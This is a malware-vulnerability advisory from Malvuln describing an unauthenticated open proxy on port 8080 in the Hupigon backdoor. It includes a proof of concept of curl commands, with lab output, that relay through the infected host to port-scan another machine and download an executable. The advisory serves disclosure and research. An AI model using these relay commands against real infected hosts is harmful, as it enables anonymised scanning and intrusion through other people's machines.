Backdoor.Win32.Hupigon.asqx Unauthenticated Open Proxy

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/a344b767d58b6c83b92bb868727e021c.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Hupigon.asqx  
Vulnerability: Unauthenticated Open Proxy   
Description: The malware listens on TCP port 8080. Third-party attackers who can connect to the infected system can relay requests from the original connection to the destination and then back to the origination system. Attackers may then be able to launch attacks, download files or port scan third party systems and it will appear as the attacks originated from that infected host.  
Type: PE32  
MD5: a344b767d58b6c83b92bb868727e021c  
Vuln ID: MVID-2021-0343  
Dropped files: win32.exe  
Disclosure: 09/20/2021  
  
  
Exploit/PoC:  
Scan Ports)  
  
curl -x http://192.168.18.129:8080 http://192.168.18.128:110 -v  
+OK INetSim POP3 Server ready <22935.1631403728@pop3host>  
-ERR Unknown command.  
  
curl -x http://192.168.18.129:8080 http://192.168.18.128:21   
220 INetSim FTP Service ready.  
500 Unknown command.  
  
Download filez)  
  
curl -x http://192.168.18.129:8080 http://192.168.18.128/DOOM.exe --output DOOM.exe  
% Total % Received % Xferd Average Speed Time Time Time Current  
Dload Upload Total Spent Left Speed  
97 101k 97 98k 0 0 98k 0 0:00:01 0:00:01 --:--:-- 95224  
  
  
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